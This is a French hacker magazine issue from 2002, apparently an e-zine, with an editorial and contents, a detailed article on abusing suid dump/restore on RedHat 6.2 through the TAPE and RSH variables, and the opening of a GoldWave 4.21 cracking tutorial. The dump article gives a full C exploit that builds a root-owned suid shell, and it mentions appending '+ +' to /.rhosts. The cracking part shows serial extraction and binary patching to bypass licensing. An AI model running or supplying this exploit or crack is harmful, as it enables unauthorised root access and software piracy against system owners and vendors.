                             Input Output  Corporation                     
                             http://ioc.multimania.com
                                  P r e s e n t s




                   
                 
                  __  __ __     ___    __   __  ________ 
                 |  ||  '_  \ /  _  \ |  | |  ||_      _|   ___ 
                 |  ||  | |  ||   __/ |  '-'  |   |  |     / _ \_/\
                 |__||__| |__||__|     \______|   |__|     \/ \___/
                 ___    __   __  ________   ___   __   __  ________
               /     \ |  | |  ||_     _ |/  -  \|  | |  ||_      _|
              |  [ ]  ||   -   |   |  |   |   __/|  '-'  |   |  |
               \_____/  \______|   |__|   |__|    \______|   |__|
            __ ____ __     __ _   ___    __ _  _____  __  __ __      __
           |  '_   '_  \  /  ' | /   \  /  ' ||__  / |  ||  '_  \  /   \
           |  | |  | |  || [ ] || [ ] || [ ] |  / /_ |  ||  | |  ||  _ /
           |__| |__| |__| \____| \__  | \____| /____||__||__| |__| \____|
                                  |__/


                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
                       
                         Issue#3 v1.0    1er Avril 2002

                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                  



                           
        




----------------------------------------------------------------------------------------
                               >>>  EDITO  <<<                              IOC Staff
----------------------------------------------------------------------------------------


Pour commener, je tiens  prciser que je vous ferai grce du dsormais clbre
et rbarbatif << poisson d'avril >> dont le sens m'chappe  encore  aujourd'hui.
C'est d'ordinaire MeiK ( anciennement Lex Icon ) qui prend la plume  pour ce qui
est de l'edito, mais au vu des circonstances, c'est moi mme ( Neofox )  qui m'y
colle pour une fois ; en effet, comme  vous aurez l'occasion de  le constater en
prennant conaissance du sommaire, MeiK a t pas mal occup ces derniers mois et
n'a pas dispos de tout le temps qu'il aurait souhait. Aussi sa participation 
cette nouvelle issue est elle relativement rduite. Il vous explique cela un peu
plus longuement  la fin de ce mag. Enfin, ce n'est pas l toute l'actualit  du 
groupe : en effet, suite  notre changement de nom il y presque trois mois, nous
nous sommes restructur et de la  formation initiale, restent MeiK et moi mme ;
Peu aprs, deux nouveaux membres ont  rejoint l'quipe : Emper0r et Disk-Lexic ;
c'est donc aujourd'hui leur premire participation au magazine, et  leur apprort
respectif en matire de prog. et de cracking a contribu  etoffer le  sommaire.
Par ailleurs, je dois vous signaler que MeiK a ralis un petit document destin
aux newbies ; nous ne l'avons pas mis dans le mag car il risquait de dpareiller
mais vous pouvez le trouver ici : ioc.multimania.com/mag/issue3/newbies-faq.txt.
Je vais profiter de cet edito pour saluer Abl et Jamu (http://hianda.fr.st) qui 
se sont lan de leur cot dans une aventure semblable  la ntre, bonne chance!
Une autre information et pas des moindres : Androgyne, ex-membre de la RtC, nous
a fait le plaisir de collaborer  cette issue !  Je  vous  laisse  dcouvrir son
travail dont  elle nous  rserv  l'exclusivit, un peu plus loin dans le mag ;
Merci  toi ! En avant donc, pour cette nouvelle issue, et bonne lecture !







----------------------------------------------------------------------------------------
                          >>>  AVERTISSEMENT <<<                           IOC Staff
----------------------------------------------------------------------------------------


Plutt par tradition que par ncessit  ...
Est-il besion de vous rappeler que les articles qui vont suivre ne sont ici que
dans un but ludique ? Cela va de soi, et vous y tes habitu  je pense. 
Nous dclinons donc toute responsablit quant l'utilisation qui pourrait en 
tre fait par des individus aux moeurs plus que douteuses, qui se reconnatront. 
Comme toujours, si vous ou l'un de vos collaborateurs taient pris ou tu, le
Dpartement d'Etat niera avoir eut conaissance de vos agissements.







----------------------------------------------------------------------------------------
                            >>>  ON RECRUTE ! <<<                           IOC Staff
----------------------------------------------------------------------------------------


Nous sommes  prsent 4  prendre part   l'criture de  ce mag ; c'est mieux, mais
c'est peu ; et comme on dit,  plus on est de fous rit !  On voudrait qu'  terme ce 
mag soit l'occasion d'une collaboration entre de nombreux passionns, tous domaines
confondus, secu/intrusion, cracking, phreaking et coding en tous genres. C'est pour
cela qu'on recrute, encore et toujours. Nous recherchons ... vous savez ce que nous
recherchons ; des gens passionns, comme on vient de le dire, qui possdent d'assez
bonnes conaissances en C/C++, ASM, Perl, Rseaux, Secu/Intrusion, Crypto, Phreaking
etc...Pour ceux qui seraient souhaiteraient se joindre  nous, envoyez nous un mail
en expliquant qui vous tes et vos motivations.






                                                            
        ___    ___    __ ____ __    __ ____ __     __ _  __  ____    __
       / __/ /     \ |  '_   '_  \ |  '_   '_  \  /  ' ||  ||  __| /   \
       \__ \|  [ ]  ||  | |  | |  ||  | |  | |  || [ ] ||  || |   |  - /
       |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_|    \____|


          ------------------------------------------------------------
         |  Auteur    | n  |              T i t r e                  |
          ------------------------------------------------------------    
         |  Neofox    |I.   |         Redhat Linux : Dump             |
          ------------------------------------------------------------
         |  Emper0r   |II.  |        Cracking : Goldwave4.21          |
          ------------------------------------------------------------
         | Androgyne  |III. |          Crypto : Penelope              |
          ------------------------------------------------------------
         | Disk-Lexic |IV.  |      Programmation Win32asm  Part1.     |
          ------------------------------------------------------------ 
         |   MeiK     |V.   |           Petit Script Utile            |
          ------------------------------------------------------------ 
         |  Neofox    |VI.  |          Prog. Log Cleaners             |
          ------------------------------------------------------------
         |  Neofox    |VII. |             Getafix V1.0                |
          ------------------------------------------------------------
         |  Emper0r   |VIII.|           Windows's Notepad             |
          ------------------------------------------------------------ 
         |  Neofox    |IX.  |               Backpass.c                |
          ------------------------------------------------------------
         |  Neofox    |X .  |            Profil : Neofox              |
          ------------------------------------------------------------  
         | IOC Staff  |XI.  |                Contacts                 |
          ------------------------------------------------------------ 






                        -=-=-=-=-=-=-=-=-=-=-=-
                          Contenu de l'archive
                        -=-=-=-=-=-=-=-=-=-=-=-
 
                             ioc3.txt
                             goldwave.zip
                             penelope.zip









----------------------------------------------------------------------------------------
I.               RedHat Linux :  dump & restore                   par Neofox      
----------------------------------------------------------------------------------------



[ Introduction ]

Nous allons parler d'un utilitaire prsent sous linux auquel il est possible de 
faire excuter nos propres commandes avec les privilges root. Cette vulnrabilite
n'est pas trs dtaille, et les quelques textes qui y font rfrence n'abordent
que l'aspect "exploit", mais je pense qu'il aussi instructif d'tudier le 
fonctionnement normal du programme en cause, afin de comprendre en quoi il peut
tre exploitable. On va donc voir en premier lieu  quoi sert ce programme,
comment il s'utiliser, puis pourquoi est-ce qu'il est vulnrable, pour enfin 
expliquer comment crire son "exploit"  - dcidemment, j'aime pas ce terme ". 








                
                    ++++ | Partie I :  Dump en dtail | ++++
                                 
                                  => dump & restore
                                  => en remote
                            
 


    
   1. Dump & Restore :
   ___________________




[ Dump ]


Il s'apelle dump, on le trouve sous linux dans /sbin.
C'est un utilitaire de sauvegarde, dont voici un exemple de syntaxe:

[root@localhost]# mkdir /test
[root@localhost]# cd /test
[root@localhost]# touch file1 file2 file3 file4
[root@localhost]# ls 
file1 file2 file3 file4
[root@localhost]#                                  <= nous avons cre nos fichiers
                                                      exemples, reste a les sauvegarder.

[root@localhost]# dump 0f /backup /test
   DUMP: Date of this level 0 dump: Thu Feb 14 21:35:06 2002
   DUMP: Date of last level 0 dump: the epoch
   DUMP: Dumping /dev/hda5 (/ (dir test)) to /backup
   DUMP: Label: none
   DUMP: [...]
   DUMP: finished in 1 seconds, throughput 321 KBytes/sec
   DUMP: Average transfer rate: 321 KB/s
   DUMP: DUMP IS DONE
[root@localhost]#  


Voila, nous avons sauvegard les fichiers de /test dans /backup :

[root@localhost]# ls -al /backup 
-rw-r--r--    1 root     root            327680 fv 14 21:35 /backup
[root@localhost]#

Comme vous pouvez le voir ici, backup est un fichier et non un rpertoire,
contrairement  ce qu'on pourrait croire. En somme, tout le contenu de notre
rpertoire /test est  prsent stock dans "backup". Ainis, supposons que 
les fichiers de /test soient altrs ou dtruits, vous seriez alors a mme 
de les restaurer en intgralit, cela grce  la commande 'restore' que nous 
verrons plus loin.

La commande que nous avons utilise est :  # dump 0f /backup /test


            '0' dsigne le niveau de sauvegarde. Ce chiffre peut varier
           entre 0 et 9. Plus le chiffre est petit, plus la sauvegarde 
           sera complte. le niveau 0 correspond  une sauvegarde complte.
           Les niveaux 1  9 quant  eux, ne sauvegarderont que les fichiers
           modifis depuis la dernire sauvegarde d'un niveau infrieur. 

            L'option 'f' prcde le nom du fichier de destination, dans lequel
           on va effectuer la sauvegarde. D'autres options sont disponnibles,
           mais je vous renvoie aux pages de man pour plus d'infos.


            backup est le fichier dans le quel va tre effectu la sauvegarde.
           Je l'ai mis dans / mais vous pouvez tout aussi bien effectuer la sauvegarde
           ailleurs.

            /test est  le rpertoire qui va tre sauvegard par dump.   




Le fichier /etc/dumpdates enregistre les dates des sauvegardes.
De cette manire dump peut prendre conaissance de la date de la dernire sauvegarde
pour dterminer quels fichiers on t changs depuis. Il va ne va donc sauvegarder que
les denires modifications, ceci biensur dans le cas o vous utilisez un autre niveau
de sauvegarde que le niveau 0.


Vous avez sauvegard les fichiers vitaux de votre systme, comme par exemple /etc.
S'il vous arrivait par la suite, d'endomager involontairement un fichier cl, 
par erreur, genre :

[root@localhost]# rm -f /etc/passwd*             <= Oups !?

Bon, a c'est l'exemple  la con, mais tout a pour dire que si un de ces fichiers
est altr, il serait alors possible de restaurer le contenu du rpertoire  partir
de vtre sauvegarde, et ceci grce  un outil nomm "restore".



[ restore ]

/sbin/restore permet comme son nom l'indique et comme nous l'avons dja dit, 
sert  restaurer un systme de fichiers  partir de la dernire sauvegarde
qui en a t faite. Voici un exemple d'utilisation, on continue avec l'exemple
prcdent :

[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# rm -f test3 test4
[root@localhost]# ls
test1 test2
[root@localhost]#                                    <= on a volontairement supprim
                                                        les fichiers 3 et 4 que nous
                                                        avions pralablement sauvegard.


[root@localhost]# cd /
[root@localhost]# pwd
/
[root@localhost]# restore rf /backup /test 
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]#                                     <= Les fichiers que nous avions 
                                                         supprim il y a 10 sec viennent
                                                         d'tre restaurs en fonction de
                                                         la sauvegarde qui en avait t
                                                         faite avec dump.



La syntaxe de restore que nous avons utilise est :

[root@localhost]# restore rf /backup /test

   

           'r' signifie que l'on demande un restauration complte 
          du systme de fichiers  partir de la sauvegarde.

           'f' permet de spcifier le fichier de sauvegarde  utiliser
          pour la restauration. En l'occurence, il s'agit de /backup.

           /backup, comme nous venons de le dire, est le fichier 
          de sauvegarde que nous avons ralis tout  l'heure avec dump.

           /test est le systme de fichier qui a t altr, ou que l'on
          veut remettre en plae selon une ancienne configuration.
          

Pour plus de dtails sur les options de restore, mme topo que pour dump, reportez
vous  man.


Voila, nous avons vu comment fonctionnent restore et dump, dumoins pour ce qui est 
de l'utilisation locale ...





      2. En Remote :
      _______________
          

Eh oui, comme le laissait entendre ma dernire phrase, dump et restore sont galement
prvus pour une utilisation  distance. En effet, il est possible de sauvegarder une
partie du disque local sur le disque ou sur le /dev/st0 (tape) d'une machine distante. 
De mme, on peut restaurer un systme de fichier  partir d'une sauvegarde distante.
Il faut tre root pour effectuer une sauvegarde/restauration en remote.


[ Fonctionnement ]

Pour reprendre mon exemple de tout  l'heure, nous allons sauvegarder le contenu
du rpertoire /test dans le fichier nomm "backup" et situ  la racine d'une machine
distante que l'on apellera "machine.distante.com" ( je me suis visiblement pas trop
foul pour le nom ... ) :


[root@localhost]# dump 0f machine.distante.com:/backup /test
   DUMP: Date of this level 0 dump: Sun Feb 17 19:27:30 2002
   DUMP: Date of last level 0 dump: Thu Feb 14 21:35:06 2002
   DUMP: Dumping /dev/hda5 (/ (dir test)) to machine.distante.com:/backup
   DUMP: Label: none
   DUMP: [...]
   DUMP: finished in 1 seconds, throughput 321 KBytes/sec
   DUMP: Average transfer rate: 321 KB/s
   DUMP: DUMP IS DONE
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# rm -f test3 test4
[root@localhost]# ls 
test1 test2
[root@localhost]# cd ../
[root@localhost]# restore -rf machine.distante.com:/backup /test
[root@localhost]# cd /backup
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# echo "tous nos fichiers sont de nouveau l ;@)"
tous nos fichiers sont de nouveau l ;@)
[root@localhost]#







Effectuer des backups en remote sur une machine distante suppose d'y tre autoris ...
Ce sont donc les fichiers .rhosts qui vont tre utiliss par la machine distante
pour authentifier le client et dterminer dterminer s'il peut oui ou non y effectuer 
une sauvegarde. Lorsque l'option 'f' n'est pas spcifie dans le cas d'une sauvegarde 
ou d'une restauration  distance, dump & restore explorent le contenu de deux varaibles 
d'environement : TAPE et RSH.




[ TAPE ]

La variable TAPE permet  dump et restore de dterminer le nom du fichier de sauvegarde, 
ainis que le nom de la machine sur laquelle ou depuis laquelle la sauvegarde doit tre
sotcke ou restaure. Le contenu de cette variable est du type "machine:/fichier_backup"
ou encore "user@machine:/fichier_backup". La variable TAPE doit donc contenir le caractre
sparateur ":". Si cette varaible est dclare, dump et restore explorent alors le contenu
de la variable RSH.


[ RSH ]

Aprs avoir dtermin le nom de la machine et du fichier distant, dump et restore doivent
connatre le nom du remote shell  invoquer pour effectuer la backup ; par remote shell, 
j'entends rlogin/rsh/ssh. En d'autres termes, dump va excuter le contenu de cette variable.












                 ++++ | Partie II : Exploiter dump & restore | ++++
                                 
                                  => Explications
                                  => Programmation
                                  => env.c
                            


[ Avertissement ]

Nous venons de voir comment fonctionnent les utilitaires dump et restore dans le cadre
d'une utilisation locale et  distance. Si nous en sommes arrivs l, c'est pour parler
de la manire de les dtourner pour gagner un accs root. Et c'est l que je dois prciser
quelque chose : je n'ai rien invent ; la dcouverte de cette vulnrabilit n'est pas de 
moi, d'ailleurs je ne prtends pas qu'il en soit autrement, qu'il n'y ait pas de mal entendu !
Autre chose : dans un de ses articles, par ailleurs excellents, Sauron fait rfrence  cette 
faille en guise d'exemple, pour illustrer les problmes dus aux varaibles d'environement ; je 
ne fais ici que dtailler le fonctionnement des deux variables en cause et proposer un petit 
cours sur l'excriture de l'exploit qui s'y rapporte, sans plus. Puisque tout est clair  prsent, 
nous pouvons continuer.








     1. Explications :
     _________________


Le but est de faire excuter  dump nos propres commandes avec les privilges root.
Il faut pour cela que dump soit suid, de mme que restore. On sait que, lors d'une 
demande de sauvegarde  distance, dump fait appel aux variables TAPE et RSH pour savoir 
o envoyer la sauvegarde et via quel remote shell  excuter la demande. L'ide est de
faire passer  $RSH notre propre commande, pour que celle-ci soit excute par dump.
Il faut pour cela remplir la variable $TAPE comme s'il s'agissait d'une sauvegarde
 distance, donc avec un truc comme "machine:/file". Si cette variable est dclare,
dump ( ou restore ) va alors excuter le contenu de $RSH. En faisant excuter  $RSH
notre propre script, on peut se crer un shell suid, ou mettre /etc/passwd en lecture 
criture, ou encore faire "echo + + >> /.rhosts", mais le shell suid reste le plus
discret. Bien videmment, on peut faire notre manip manuellement, mais c'est tellement 
plus marrant la programmer ... question de point de vue !




[ Qui est vulnrable ? ]

Cette vulnrabilit de dump/restore est prsente par dfaut sur les RedHat 6.2.
J'ai pu constater sur ma Rh7.0 que le problme tait corrig. /sbin/dump n'tait 
pas suid  l'origine, je l'ai donc mis au mode 6755 pour voir s'il y avait moyen 
d'en abuser ; en tant que simple utilisateur, on peut toujours faire excuter des 
commandes  dump, mais les privilges root ne s'appliquent pas, mme si ce dernier 
est suid. En effet, les versions vulnrables sont "dump-0.4b15x" et "restore-0.4b15x",
et ce sont ces dernires que l'on trouve sur les 6.2 par dfaut.
Si votre machine semble prsenter cette vulnrabilit, deux solutions s'offrent  vous
pour remdier au problme : chmod -s /sbin/dump /sbin/restore et mise  jour des packages.





     2. Programmation :
     __________________


On va procder par tapes : 

 Etape 1 : on s'assure que dump et restore sont suid.  
 Etape 2 : on cre un script contenant nos commandes.  
 Etape 3 : on rend notre script excutable.              
 Etape 4 : on dclare la variable TAPE="test:test".           
 Etape 5 : on dclare RSH pour laner notre script.      
 Etape 6 : Enfin, excute au choix dump ou restore.         






[ Etape 1 ]

Bien, commenons par le commenement ; on va controler que dump ou restore
ou les deux sont bien prsents et si c'est le cas, qu'ils sont bien suid.
On va pour cela utiliser la fonction : stat(). Il faut au pralable dclarer
le fichiers "sys/stat.h", "sys/types.h" et "unistd.h". La fontction stat() 
utilise une structure du type "stat" pour donner des informations relatives 
 un fichier. Voici la composition siplifie de la structure stat :


struct stat {

  mode_t   st_mode    /* Bits de permission de l'objet */
  uid_t    st_uid     /* uid du fichier */
  gid_t    st_gid     /* sont gid */
  time_t   st_ctime   /* heure de la dernire modification */
  
}

En ralit, la sturcutre stat est plus complexe, mais voici de quoi nous occuper.
Ce qui nous intresse ici, c'est le champ st_mode, puisqu'il va nous permettre
de connatre le mode de dump/restore, afin de dterminer s'ils sont suid ou non.


Compilez et d'excutez le code suivant :

---------8<----------------------------------------------------------

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

sturct stat status;

int main (int argc, char *argv[]){

      if(argc!=2){
          fprintf(stderr,"Usage : %s file\n", argv[0]);
          exit(1);
      }

      if(stat(argv[1],&status)!=-1){
           fprintf(stdout,"Le mode de %s est %d\n",argv[1],status.st_mode);
      } else {
           fprintf(stderr,"%s n'existe pas !\n", argv[1]);
           exit(-1);
      }

}

---------8<----------------------------------------------------------


Si voulez afficher le mode d'un binaire suid, vous remarquez que les nombres
qui aparaissent ne sont pas comme on pourrait s'y attendre les traditionnels
04755, 06755 et autres. Nous voulons que dump soit suid et gnralement, lors 
qu'il l'est par dfaut, on le trouve au mode 04755 ou 06755 ; voici donc la
correspondance entre la valeur gnre par stat(), le mode littral et le mode
octal. Un exemple :

   -rwsr-sr-x    06755    =>  36333 
   -rwsr-xr-x    04655    =>  35309
   
Vous voyez que les valeurs gnres par stat() sont bien diffrentes des modes
habituels. On peut galement utilser d'autres valeurs correspondant  d'autres
modes o l'excutable est suid. Dans tous les cas, il faut pour que dump soit 
exploitable, que dump apartienne au root. 
Nous allons plaer le code suivant pour contrler que l'excutable ait les bons
droits :

                  if((status.st_mode!=36333)&&
                       (status.st_mode!=36351)&&
                           (status.st_mode!=35309)&&
                               (status.st_mode!=35145)){
                      fprintf(stderr,"/sbin/dump n'est pas suid, exiting!\n",);
                      exit(-1);
                  }





[ Etape 2 et 3 ]

Nous voulons un shell suid. On va dans un premier temps crer un script
avec nos commandes. Exemple :
 

  $ echo "cp /bin/sh $HOME/shell" > /tmp/script
  $ echo "chmod 6755 $HOME/shell" >> /tmp/script
  $ chmod +x $HOME/shell

Ce qui donne en C :

fd=fopen(SCRIPT, "w");
fprintf(fd,"#!/bin/sh\n");
fprintf(fd,"cp /bin/sh %s\n",SHELL);
fprintf(fd,"chown root %s\n",SHELL);
fprintf(fd,"chgrp root %s\n",SHELL);
fprintf(fd,"chmod 6755 %s\n",SHELL);
fprintf(fd,"rm -f %s\n", SCRIPT);
fclose(fd);
chmod(SCRIPT,00555); 




[ Etape 4 et 5 ]

On s'occupe de $TAPE et $RSH :

setenv("TAPE","test:test",0);
setenv("RSH",SCRIPT,0);





[ Etape 6 et 7 ]

Voila, les conditions sont runies, nos variables dclares et notre
script fin prt  tre excut : reste  apeller dump :

system("dump -0 /nimportequoi");

Notre script a t excut avec les proprits du root, et nous a cre 
un shell suid dans notre homedir.

Si tout s'est bien pass, nous devrions avoir accs au compte root.
Comme vous pouvez le constater, c'est relativement simple, encore
fallait il connatre le fonctionnement des programmes en cause.





           3. env.c :
           __________


Voici en guise d'illustration "l'exploit" en C pour cette vulnrabilit.
Je tiens  nouveau a preciser que je la dcouverte de cette faille n'est
pas de moi ; je n'ai rien invent et donc aucun mrite ; j'ai simplement 
dtaill une vulnrabilit a laquelle Sauron faisait rfrence dans l'un 
de ses articles, et transpos la manip en C. Ah, j'oubliais : j'ai utilis 
des sleep() ici, mais c'est juste pour faire joli lors de l'excution ...



---------8<----------------------------------------------------------


/*  Simply exemple of dump exploit 
 *  -by the guy who wrote this
 *  Copyright  2002 nobody
 */ 

#include <stdio.h> /* printf, fprintf */
#include <fcntl.h> /* fopen, fclose */
#include <time.h>  /* sleep */
#include <stdlib.h> /* setenv, getenv, unsetenv */
#include <unistd.h> /* stat */
#include <sys/types.h> /* stat */
#include <sys/stat.h> /* stat */
#define CMD "dump -0 /null" /* used to run dump */
#define SHELL "$HOME/shell" /* suid shell */
#define DUMP "/sbin/dump" /* what ? */ 
#define SCRIPT "/tmp/script" /* script run by dump */
#define TAPEVALUE "test:/test" /* $TAPE */


FILE *fd;
char buf[50];
struct stat status;



int main ( int argc, char *argv[] ){


      if(argc!=1){
          fprintf(stderr,"Usage : %s\n", argv[0]);
          exit(-1);
      }
       
fprintf(stderr,"*** Dump | Restore simply exploit ***\n");
fprintf(stderr,"[1]-Checking dump ..."); sleep(1);
            
      if (stat(DUMP,&status)==-1 ){
           fprintf(stderr,"error!\n");
           fprintf(stderr,"[*]-Can't find %s , exiting!\n",DUMP);
           exit(-1);
      }
      else { 

                  if((status.st_mode!=36333)&&
                       (status.st_mode!=36351)&&
                           (status.st_mode!=35309)&&
                               (status.st_mode!=35145)){
                      fprintf(stderr,"error!\n");
                      fprintf(stderr,"[*]-%s n'est pas suid, exiting!\n",DUMP);
                      exit(-1);
                  
                  }
                  else
                      fprintf(stdout," done!\n"); 
  
      }                
      
    
fprintf(stderr,"[2]-Creating %s ...", SCRIPT);sleep(1);   
fd=fopen(SCRIPT, "w");
fprintf(fd,"#!/bin/sh\n");
fprintf(fd,"cp /bin/sh %s\n",SHELL);
fprintf(fd,"chown root %s\n",SHELL);
fprintf(fd,"chgrp root %s\n",SHELL);
fprintf(fd,"chmod 6755 %s\n",SHELL);
fprintf(fd,"rm -f %s\n", SCRIPT);
fclose(fd);
chmod(SCRIPT,0555);
fprintf(stderr," done!\n");
system("ls -al /tmp/script"); 
fprintf(stderr,"[3]-Setting TAPE and RSH ...");sleep(1);
setenv("RSH",SCRIPT,0); 
setenv("TAPE",TAPEVALUE,0);
fprintf(stderr," done!\n");
fprintf(stderr,"[4]-We're ready : running %s ...\n",DUMP);sleep(1);
system(CMD);
fprintf(stderr,"[5]-  Allright, exiting!\n");
sprintf(buf,"ls -al %s",SHELL); 
system(buf); 
return 0;

}




---------8<----------------------------------------------------------


  



[ Conclusion ]

Pourquoi avoir parl de cette vulnrabilit ? Je sais pas ; srement parceque
je trouve le concept assez sympathique, question de point de vue ; et en thorie, 
pas besoin d'avoir recours  la prog. C, mais bon ... on aime a non ?



                                     












--------------------------------------------------------------------------------------------------
II.                        Cracking : Goldwave4.21                                 Emper0r
--------------------------------------------------------------------------------------------------



                     ++++++++++++++++++++++++++++++++++++
                     +++ Fichier Joint : goldwave.zip +++
                     ++++++++++++++++++++++++++++++++++++
                


[ Introduction ]

Pour mon premier article je vais vous parler de cracking, notre cible serat Goldwave4.21
un petit outil de retouche de musique sympa, on peut le trouver sur http://www.goldwave.com. 
Je me suis aperu aprs avoir fait ce tuto qu'une version plus rcente tait dispo sur le 
site. Cela ne change rien les routines d'enregistrement sont les mme, seul les offset change 
et quelques petits dtails. 



    Protection: Rien en particulier, le serial est enregistr dans 
                 un fichier .ini et est test a chaque dmarage

    Outils : Wdasm32, Softice, un editeur hexa, procdump, 
              un compilateur asm (TASM), un compilateur pascal

    Objectifs: Trouver un serial valide, prsentation du RE, 
                faire un Keygen, patcher le prog.



Ce tuto s'adresse aux newbies mais je considre que vous avez deja quelques base en asm, 
que vous avez deja utilis softice et Wdasm.











                   ++++ | Partie I : Trouver un serial valide | ++++



Pour commencer on lance le programme qui nous dit que cette version est une version shareware et
que l'on doit s'enregistrer etc.... Bon on va dans option puis Register et on met des valeurs bidon 
dans la boite. La on n'appuie pas sur OK de suite, on fait surgir Softice (Ctrl+d) et on pose un 
breakpoint. On tape bpx hmemcpy suivit de Entre puis F5, ceux qui nous fait revenir a goldwave on 
appuis sur OK. La softice break normalement, 2 pression sur F5 pour enregistrer toutes les donnes 
de la boite d'enregistrement. Au bout de quelques F12 on arrive ici:


:004623F7 E818F8FFFF              call 00461C14			;Analyse le serial	
:004623FC 59                      pop ecx
:004623FD 84C0                    test al, al			;Teste si al=00
:004623FF 0F8597000000            jne 0046249C			;al=01, srial correct  
                                                                ;  on saute en 46249C

* Possible StringData Ref from Data Obj ->"Register"
                                  |
:00462405 8B1518204F00            mov edx, dword ptr [004F2018]
:0046240B 8B4E43                  mov ecx, dword ptr [esi+43]
:0046240E 8B01                    mov eax, dword ptr [ecx]
:00462410 6A30                    push 00000030
:00462412 52                      push edx

* Possible StringData Ref from Data Obj ->"Invalid registration.  Please "
                                        ->"be sure to enter your name and "
                                        ->"password exactly as given in the "
                                        ->"license."
                                
:00462413 6805254F00              push 004F2505
:00462418 8B500C                  mov edx, dword ptr [eax+0C]
:0046241B 52                      push edx
:0046241C 8B4868                  mov ecx, dword ptr [eax+68]
:0046241F 51                      push ecx
:00462420 E8176F0200              call 0048933C			;Va ouvrir la messagebox



Bon ben la je voit pas comment ca peut tre plus clair :)
A la ligne 4623FD, le prog teste le contenu de AL, si Al = 00 le saut en 4623FF ne ce fait pas,
et on voit en 462420 le call qui va nous ouvrir la messagebox pour nous dire que notre code est 
incorrect. On peut donc supposer que le call en 4623F7 va placer 01 ou 00 dans AL suivant que 
notre code est valide ou pas.


On va pas rentrer dans le call en 4623F7 tout de suite ; on le passe en faisant F10 au lieu de 
F8, une fois arrivs en 4623FC on regarde ce qui a chang dans les registres, en faisant D EDX 
on trouve quelque chose qui ressemble vraiment a un serial. On note ce srial on enlve les 
breakpoints: BC*, et on sort de Softice: F5. On teste notre serial en remettant le mme Firt&Last 
Name et le password trouv, on appui sur ok et voil on est register. C'est de la rigolade, 
le serial est meme pas effac avant de sortir du call.

C'est pas la peine d'essayer d'inverser le saut en 4623FF pour lui faire accepter tout les 
serials, car le serial ainsi que notre First&Last name sont enregistr dans un fichier .ini 
(c:\windows\goldwave.ini). Le prog va lire a sont prochain lancement, les donn enregistr 
dans ce fichier et il va voir que le srial est incorrect. En plus inverser un saut sans chercher 
 aller plus loin est vraiment ce qui as de plus nul a faire dans ce cas. On verra plus tard comment 
patcher pour lui faire accepter tout les serials, et patcher pour qu'il soit enregistr sans mme 
mettre de srial.

Bon voil j'ai expliqu rapidement cette premire parti car ca me parait trs simple. 







                 ++++ | Partie II : Prsentation du Reverse Engineering | ++++



On va faire un peu de RE, bien que l ce soit tellement simple et classique que l'on ne peut
pas vraiment parler de RE. On va transformer le programme pour que au lieu qu'il nous affiche 
la fentre disant code incorrect il nous donne le serial valide :


* Possible StringData Ref from Data Obj ->"Register"
                                  
:00462405 8B1518204F00            mov edx, dword ptr [004F2018]
:0046240B 8B4E43                  mov ecx, dword ptr [esi+43]
:0046240E 8B01                    mov eax, dword ptr [ecx]
:00462410 6A30                    push 00000030
:00462412 52                      push edx

* Possible StringData Ref from Data Obj ->"Invalid registration.  Please "
                                        ->"be sure to enter your name and "
                                        ->"password exactly as given in the "
                                        ->"license."
                                  
:00462413 6805254F00              push 004F2505
:00462418 8B500C                  mov edx, dword ptr [eax+0C]
:0046241B 52                      push edx
:0046241C 8B4868                  mov ecx, dword ptr [eax+68]
:0046241F 51                      push ecx
:00462420 E8176F0200              call 0048933C			;Va ouvrir la messagebox




On sait que avant la ligne 462405 EDX pointe vers notre serial valide, on voit en 462412 que
le titre de la fentre serat ce que pointe EDX, en 462405 EDX est initialise il suffit de nopper
(nopper = remplacer certain octet par un: NOP -> No Operation)  toutes cette ligne, donc EDX 
pointera toujours vers le srial. Pour que se soit plus joli on inverse le push EDX en 462414 
par le push 4F2505 comme sa le serial ce trouve dans la messagebox et pas comme titre.
On va aussi avec un diteur hexa Remplacer le "Invalid Registration. Please...." par 
"Votre code d'enregistrement est : " puis une srie de 00. 
Voil ce que sa donne :


:004623FD 84C0                    test al, al
:004623FF 0F8597000000            jne 0046249C
:00462405 90                      nop
:00462406 90                      nop
:00462407 90                      nop
:00462408 90                      nop
:00462409 90                      nop
:0046240A 90                      nop
:0046240B 8B4E43                  mov ecx, dword ptr [esi+43]
:0046240E 8B01                    mov eax, dword ptr [ecx]
:00462410 6A00                    push 00000000		

* Possible StringData Ref from Data Obj ->"Votre code d'enregistrement est "
                                        ->":"
                                 
:00462412 6805254F00              push 004F2505
:00462417 52                      push edx

Mouarff c'est plutt bourrin et surtout dgueulasse ;) mais ca marche et puis c'est juste pour
faire une petite prsentation au RE ;-). Maintenant lorsque que l'on entre un pass incorect le 
programme affiche une fentre pour nous donner le serial valide calculer en fonction de notre 
first & last name. C'tait encore trs simple mais marrant a faire, maintenant on passe aux 
choses srieuses: le Keygen.












                   ++++ | Partie III : Le Keygen | ++++




Ce programme est idal pour le newbies, la gnration du srial est simple, juste des calculs
qui ce suivent. Pour les keygen je prfre souvent tracer le prog avec le debugeur de Wdasm 
plutot que softice. De toute facon Wdasm ou softice ca change rien une fois que l'on a poser 
le breakpoint.

Pour placer un breakpoint sur le call 00461C14, a la ligne 004623F7:

  Avec Wdasm:
Sous Wdasm: menu debug----> Load process et on appuis sur OK.
Ensuite Goto--->Code location--->4623F7 pour ce placer sur le call.
Une fois ici on appui sur F2 pour placer un Breakpoint. 
La il faut taper F9 pour lancer le programme.

  Avec softice
Il faut d'abord chang le flags de la section .text pour que softice puisse
breaker. Pour faire ca on prend ProcDump on clique sur PE editor, on ouvre 
notre prog, on clique sur sections. La on fait clik bouton droit sur .text 
pour aller dans edit section. Il faut changer Sections characteristiques: 
60000020 en E0000020. On ouvre notre prog avec le symbol loader, on le lance 
softice break direct, il reste plus qu'a taper Bpx 4623F7, Entre et F5, le 
programme ce lance.


Notre prog est lanc ; on va dans option---> register : L je rentre First name: EMPER0R
Last Name: C0RTEX et Password: 123456 ; je click sur ok et notre debuggeur break.




Maintenant je vais expliquer, en simplifiant, seulement les parties du code qui 
nous intressent vraiment.



